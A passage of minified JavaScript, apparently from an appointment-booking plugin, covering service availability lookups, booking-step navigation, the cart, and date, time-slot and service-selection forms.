e)"timetable"==t?this.setTimetable(e[t]):"customWorkdays"==t?this.setCustomWorkdays(e[t]):"daysOff"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],i=[];e.forEach((e=>{let s=new ye(e.time_period);t.push({time_period:s,location:e.location,activity:e.activity}),"work"==e.activity&&i.push({time_period:s,location:e.location})})),this.timetable.push(t),this.workTimetable.push(i)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new be(t.date_period),time_period:new ye(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new be(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return"string"!=typeof e&&(e=m(e,"internal")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if("string"==typeof e&&(e=g(e)),null==e)return[];let i=[],s=e.getDay();for(let e of this.workTimetable[s])0!=t&&e.location!=t||i.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&i.push(t.time_period);return i}}class $e extends me{mapRestDataToEntity(e){return new Se(e.id,e)}}class Ie extends me{mapRestDataToEntity(e){return new de(e.id,e)}}class we{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new $e("mpa_schedule")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new Ie("mpa_service")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new fe("mpa_reservation")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new ge("mpa_coupon")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==we.instance&&(we.instance=new we),we.instance}}function Te(){return we.getInstance()}let _e=null;function Ce(e,t){const i=[];for(const s of e){const e=t.includes(s.slug),a=Array.isArray(s.children)?s.children:[],r=a.length?Ce(a,t):[];(e||r.length>0)&&i.push({...s,children:r})}return i}function ke(e){let t=[];for(const i of e)i.slug&&t.push(i.slug),Array.isArray(i.children)&&(t=t.concat(ke(i.children)));return t}function Pe(e,t=[],i=null,s=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var i,s;return(null!==(i=r.get(e.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)-(null!==(s=r.get(t.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(i)&&!i.includes(e.slug)||(a.push({id:e.slug,name:"&nbsp;&nbsp;".repeat(s)+e.name}),Array.isArray(e.children)&&a.push(...Pe(e.children,t,i,s+1)));return a}function De(e){return b(e)}class Ee{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==_e)&&(_e=n("/services/available").catch((e=>(console.error("Unable to extract available services."),{})))),_e}(e).then((e=>{const{services:t,services_order:i,categories_order:s,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(i||[]),this.setCategoryIndexes(s||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let i=e[t];this.services[t]=i.name;for(let e in i.categories){let t=i.categories[e];this.serviceCategories[e]=t}for(let e in i.employees){let t=i.employees[e];this.employees[e]=t.name;for(let e in t.locations){let i=t.locations[e];this.locations[e]=i}}}}isEmpty(){return _(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,i=null){let s=new de(e);return this.services.hasOwnProperty(e)&&s.setName(this.services[e]),!0===t?(this.servicePromise=pe.loadInBackground(s,Te().service()),null!==i&&this.servicePromise.then(i),this.servicePromise.then((()=>s))):this.servicePromise=null,s}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new he(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new ce(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e="",t=0,i=0){let s={};for(let a in this.availability){let r=this.availability[a];if(""===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((i=>{r.employees[i].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===i||i in r.employees)&&(s[a]=r.name)}}return s}getAvailableServiceCategories(){let e={};for(let t in this.availability){let i=this.availability[t];jQuery.extend(e,i.categories)}return e}getAvailableEmployees(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){let s=a.employees[e];(0===t||t in s.locations)&&(i[e]=s.name)}}return i}getAvailableLocations(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){if(0!=t&&e!=t)continue;let s=a.employees[e];jQuery.extend(i,s.locations)}}return i}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,i="ids"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(De):0!==t&&s.push(t);let a=[];for(let t in this.availability[e].employees){t=S(t);let i=this.availability[e].employees[t];if(0===s.length)a.push(t);else{P(s,Object.keys(i.locations).map(S)).length>0&&a.push(t)}}return 0===a.length?[]:"entities"===i?a.map((e=>this.getEmployee(e))):a}filterAvailableLocations(e,t=0,i="ids"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(De):0!==t&&s.push(t);let a=[];for(t in this.availability[e].employees){if(t=S(t),s.length>0&&-1===s.indexOf(t))continue;let i=this.availability[e].employees[t];for(let e in i.locations)a.push(S(e))}return a=k(a),0===a.length?[]:"entities"===i?a.map((e=>this.getLocation(e))):a}}class xe{constructor(e){this.cart=e,this.steps=new ne,this.currentStep=null,this.currentStepId=""}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(".mpa-booking-step").on("mpa_booking_step_next",((e,t)=>this.onStep("next",t))).on("mpa_booking_step_back",((e,t)=>this.onStep("back",t))).on("mpa_booking_step_new",((e,t)=>this.onStep("new",t))).on("mpa_reset_booking",((e,t)=>this.onStep("reset",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case"next":this.goToNextStep();break;case"back":this.goToPreviousStep();break;case"new":this.goToFirstStep();break;case"reset":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):"";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{"cart item"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{"cart item"!==e.getCartContext()&&e.reset()}))}}class Ae{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(".mpa-actions"),this.$buttonBack=this.$buttons.find(".mpa-button-back"),this.$buttonNext=this.$buttons.find(".mpa-button-next")}theId(){return"abstract"}getCartContext(){return"cart"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on("click",this.cancel.bind(this)),this.$buttonNext.on("click",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let i=this.validateProperty(e,t);if(i===this[e])return;let s=this.preventReact;this.preventReact=!0,this.updateProperty(e,i),s||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let i=t;if(e in this.schema){let s=this.schema[e];if(null==t)i=s.default;else{switch(s.type){case"bool":i=b(t);break;case"integer":i=S(t)}if(!_(i)&&null!=s.options){s.options.indexOf(i)>=0||(i=this[e])}}}else null==t&&(i=null);return i}updateProperty(e,t){let i=this[e];this[e]=t,this.afterUpdate(e,t,i)}afterUpdate(e,t,i){}react(){let e=this.isValidInput();this.$buttonNext.prop("disabled",!e),this.hideButtons&&this.$buttons.toggleClass("mpa-hide",!e)}show(){this.enable(),this.react(),this.$element.removeClass("mpa-hide"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass("mpa-loaded"),this.hideButtons||this.$buttons.removeClass("mpa-hide")}hide(){this.disable(),this.$element.addClass("mpa-hide")}enable(){this.isActive=!0,this.$buttonBack.prop("disabled",!1),this.$buttonNext.prop("disabled",!1)}disable(){this.isActive=!1,this.$buttonBack.prop("disabled",!0),this.$buttonNext.prop("disabled",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():"object"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger("mpa_booking_step_back",{step:this.stepId})}triggerNext(){this.$element.trigger("mpa_booking_step_next",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop("disabled",!0),this.$buttonBack.toggleClass("mpa-hide",!0)}}class Me extends Ae{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(".mpa-cart"),this.$items=this.$cart.find(".mpa-cart-items"),this.$itemTemplate=this.$cart.find(".mpa-cart-item-template"),this.$noItems=this.$element.find(".no-items"),this.$totalPrice=this.$element.find(".mpa-cart-total-price"),this.$buttonNew=this.$buttons.find(".mpa-button-new")}theId(){return"cart"}addListeners(){super.addListeners(),this.$buttonNew.on("click",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass("mpa-cart-item-template"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),i=e.getDate(),s=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(i,s)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(".mpa-cart-item").remove(),this.$noItems.removeClass("mpa-hide"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),i=e.getMaxCapacity();var s,a,r;e.setCapacity((s=e.getCapacity(),a=t,r=i,Math.max(a,Math.min(s,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,i)=>{let s='.mpa-cart-item[data-id="'+i+'"]',a=this.$items.find(s);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=V(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass("mpa-hide"),t}updateItem(e,t){let i=V(t,this.$itemTemplate);return e.replaceWith(i),i}bindListeners(e){let t=e.data("id"),i=this.cart.getItem(t),s=e.find(".mpa-reservation-capacity select, .mpa-reservation-clients select"),a=e.find(".mpa-reservation-price"),r=e.find(".mpa-button-remove, .mpa-button-edit-or-remove"),n=e.find(".mpa-button-edit, .mpa-button-edit-or-remove");s.on("change",(t=>{let s=S(t.target.value);i.setCapacity(s);let r=i.getBookingVariantForCapacity(s),n=r.employeeId,o=r.locationId;if(i.getEmployeeId()!=n)i.setEmployee(n,!1),i.setLocation(o,!1),e=this.updateItem(e,i),this.bindListeners(e);else{let e=i.service.getPrice(n,s);a.html(R(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on("click",(i=>{i.stopPropagation(),e.remove();let s=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass("mpa-hide"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent("mpa_remove_from_cart",{detail:{cartItem:s,currencyCode:h().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on("click",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(function(e,t={}){return t.literal_free=!1,R(e,t)}(this.cart.getTotalPrice()))}isMultibookingEnabled(){return h().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger("mpa_booking_step_new",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent("mpa_begin_checkout",{detail:{cart:this.cart,currencyCode:h().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}function Le(e){return function(e,t=!1){return Te().service().findAll(e,t)}(e.getServiceIds()).then((t=>(e.updateServices(t),t)))}class Be extends Me{setupProperties(){super.setupProperties(),this.wasMultipleReservation=!1,this.$buttonEdit=this.$buttons.find(".mpa-button-edit")}addListeners(){super.addListeners(),this.$buttonEdit.on("click",this.startEditing.bind(this))}startEditing(){this.$element.removeClass("mpa-loaded").addClass("editable"),this.$buttonNew.prop("disabled",!0),function(e,t=null){t||(t=new oe),e.find(".mpa-cart-item:not(.mpa-cart-item-template)").each(((e,i)=>{let s=i.getAttribute("data-id")||"",a=t.createItem(s),r=jQuery(i);s!==a.getItemId()&&(s=a.getItemId(),r.attr("data-id",s));let n=r.find('input[name*="service_id"], select[name*="service_id"]').val(),o=r.find('input[name*="employee_id"], select[name*="employee_id"]').val(),l=r.find('input[name*="location_id"], select[name*="location_id"]').val();n&&(a.service=new de(S(n))),o&&(a.employee=new he(S(o)),a.employee.name=r.find(".mpa-employee-name").text().trim()),l&&(a.location=new ce(S(l)),a.location.name=r.find(".mpa-location-name").text().trim());let h=r.find('input[name*="date"]').val(),c=r.find('input[name*="time"]').val();h&&(a.date=g(h)),c&&(a.time=new ye(c)),a.date&&a.time&&a.time.setDate(a.date);let d=r.find('input[name*="capacity"], select[name*="capacity"]').val();d&&(a.capacity=S(d))}))}(this.$element,this.cart),this.cart.setActiveItem(null),this.wasMultipleReservation=this.cart.getItemsCount()>1,this.react(),this.cart.items.forEach((e=>{let t=this.$items.find('.mpa-cart-item[data-id="'+e.getItemId()+'"]');t.length>0&&this.bindListeners(t)})),Le(this.cart).then((()=>{this.$element.addClass("mpa-loaded"),this.$buttonNew.prop("disabled",!1)}))}react(){super.react();let e=this.cart.getItemsCount()<1||this.isMultibookingEnabled();this.$buttonNew.toggleClass("mpa-hide",!e)}isMultibookingEnabled(){return this.wasMultipleReservation||super.isMultibookingEnabled()}}class Oe extends Ae{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash="",this.monthSlots={},this.date="",this.time="",this.datepicker=null,this.$dateWrapper=this.$element.find(".mpa-date-wrapper"),this.$dateInput=this.$element.find(".mpa-date"),this.$timeWrapper=this.$element.find(".mpa-time-wrapper"),this.$times=this.$timeWrapper.find(".mpa-times"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return"period"}getCartContext(){return"cart item"}propertiesSchema(){return{date:{type:"string",default:""},time:{type:"string",default:""}}}addListeners(){super.addListeners(),this.$dateInput.on("change",(e=>this.setProperty("date",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash("availability"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,"availability")?(this.$element.removeClass("mpa-loaded"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash="",this.monthSlots={},this.resetDate()}isValidInput(){return""!=this.date&&""!=this.time}resetDate(){this.resetProperty("date")}resetTime(){this.$times.empty(),this.resetProperty("time")}setEnabledDays(e){_(e,!0)?this.datepicker.set("enable",["2000-01-01"]):this.datepicker.set("enable",e)}afterUpdate(e,t,i){"date"==e&&(""==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass("mpa-hide",""==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=v(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:h().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=g(this.date),e.time=new ye(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),i=t[0],s=t[1];null===e.employee&&e.setEmployee(i,!1),null===e.location&&e.setLocation(s,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent("mpa_add_to_cart",{detail:{cartItem:e,currencyCode:h().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent("mpa_view_cart",{detail:{cart:this.cart,currencyCode:h().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t);const s=this.monthSlots[i];if(s&&Object.keys(s).length>0){const e=Object.keys(s)[0],t=Object.keys(s[e])[0];this.datepicker.setDate(e,!0);this.$times.children(".mpa-time-period").filter(((e,i)=>i.getAttribute("date-time")===t)).trigger("click"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let i=this.monthSlots[t][this.date];for(let t in i)if(t===this.time){let s=i[t];e[0]=s[0][0],e[1]=s[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass("mpa-loaded");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t),s=null;if(this.monthSlots[i])s=Promise.resolve(this.monthSlots[i]);else{s=function(e,t,i,s){return n("/calendar/time",{service_id:e,employee_in:s.employee_in?s.employee_in.join(","):"",location_in:s.location_in?s.location_in.join(","):"",date_from:m(t,"internal"),date_to:m(i,"internal"),exclude_cart:s.exclude_cart?s.exclude_cart:[]}).catch((e=>console.error("Failed to make time slots in mpa_time_slots().",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([s,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[i]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass("mpa-loaded"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray("items")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let i=0;for(let t in e){let s=new ye(t).toString("public",'<span class="mpa-period-end-time"> - ')+"</span>",a=this.cartItem.getService();if(a.isGroupService()){let i=a.getMinCapacity();for(let s of e[t])i=Math.max(i,s[3]);s+=" ",s+='<span class="mpa-slot-capacity">',s+='<span class="mpa-slot-capacity-label">'+a.getQuantityLabel()+":</span>",s+="&nbsp;",s+='<span class="mpa-slot-capacity-number">'+i+"</span>",s+="</span>"}let r=B(s,{class:"button button-secondary mpa-time-period","date-time":t});this.$times.append(r),i++}i>0?this.$times.children(".mpa-time-period").on("click",(e=>this.onTime(e,e.currentTarget))):this.$times.text(c("Sorry, but we were unable to allocate time slots for the date you selected.","motopress-appointment"))}getMonthKey(e,t){return t<=8?e+"-0"+(t+1):e+"-"+(t+1)}getCurrentMonthKey(){if(""!==this.date){let e=g(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return"2000-01"}onTime(e,t){this.$times.children(".mpa-time-period-selected").removeClass("mpa-time-period-selected"),t.classList.add("mpa-time-period-selected"),this.setProperty("time",t.getAttribute("date-time"))}}class Ve extends Oe{getDatepickerArgs(){let e=super.getDatepickerArgs(),t=this.cart.getMinDate(),i=new Date(t.getFullYear(),t.getMonth());return e.minDate=m(i,"internal"),e}getTimeSlotsQueryArgs(){let e=super.getTimeSlotsQueryArgs();return e.since_today=!1,e}}class Fe extends Ae{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category="",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(".mpa-service-form"),this.$categories=this.$element.find(".mpa-service-category-wrapper"),this.$services=this.$element.find(".mpa-service-wrapper"),this.$employees=this.$element.find(".mpa-employee-wrapper"),this.$locations=this.$element.find(".mpa-location-wrapper"),this.$selects=this.$element.find(".mpa-input-wrapper select"),this.$categoriesSelect=this.$selects.filter(".mpa-service-category"),this.$servicesSelect=this.$selects.filter(".mpa-service"),this.$employeesSelect=this.$selects.filter(".mpa-employee"),this.$locationsSelect=this.$selects.filter(".mpa-location"),this.unselectedServiceText=this.$servicesSelect.children('[value=""]').text(),this.unselectedOptionText=this.$selects.filter(".mpa-optional-select").first().find("option:first").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return"service-form"}getCartContext(){return"cart item"}propertiesSchema(){return{category:{type:"string",default:""},serviceId:{type:"integer",default:0},employeeId:{type:"integer",default:0},locationId:{type:"integer",default:0}}}addListeners(){super.addListeners(),this.$form.on("submit",this.submitForm.bind(this)),this.$categoriesSelect.on("change",(e=>this.setProperty("category",e.target.value))),this.$servicesSelect.on("change",(e=>this.setProperty("serviceId",e.target.value))),this.$employeesSelect.on("change",(e=>this.setProperty("employeeId",e.target.value))),this.$locationsSelect.on("change",(e=>this.setProperty("locationId",e.target.value)))}isHiddenElementByProp(e){const t=e.attr("data-is-hidden");return void 0!==t&&"false"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr("data-default")){const i=this.$categoriesSelect.attr("data-default");this.isValidCategoryBySchema(i)?e=i:t=!1}this.setProperty("category",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass("mpa-hide",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr("data-default")){const i=S(this.$servicesSelect.attr("data-default"));this.isValidServiceBySchema(i)?e=i:t=!1}this.setProperty("serviceId",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass("mpa-hide",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr("data-default")){const i=S(this.$employeesSelect.attr("data-default"));this.isValidEmployeeBySchema(i)?e=i:t=!1}this.setProperty("employeeId",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass("mpa-hide",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr("data-default")){const i=S(this.$locationsSelect.attr("data-default"));this.isValidLocationBySchema(i)?e=i:t=!1}this.setProperty("locationId",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass("mpa-hide",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let i=e[t].attr("data-default");i?this.setProperty(t,i):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(S)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(S)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(S)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,i){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),"category"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty("serviceId"),this.resetProperty("employeeId"),this.resetProperty("locationId"))}}react(){super.react(),this.$categoriesSelect.val(this.category||""),this.$servicesSelect.val(this.serviceId||""),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass("mpa-selected",""!=this.category),this.$servicesSelect.toggleClass("mpa-selected",0!=this.serviceId),this.$employeesSelect.toggleClass("mpa-selected",0!=this.employeeId),this.$locationsSelect.toggleClass("mpa-selected",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop("disabled",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let i;const s=parseInt(this.serviceId,10);if(s>0){const t=this.availabilityService.getServiceCategories(s);i=ke(Ce(e,Object.keys(t)))}else i=null;const a=Pe(e,t,i),r=this.category||"";Q(this.$categoriesSelect,{"":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.serviceId?"":String(this.serviceId);Q(this.$servicesSelect,{"":this.unselectedServiceText},t,i),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.employeeId?"0":String(this.employeeId);Q(this.$employeesSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const 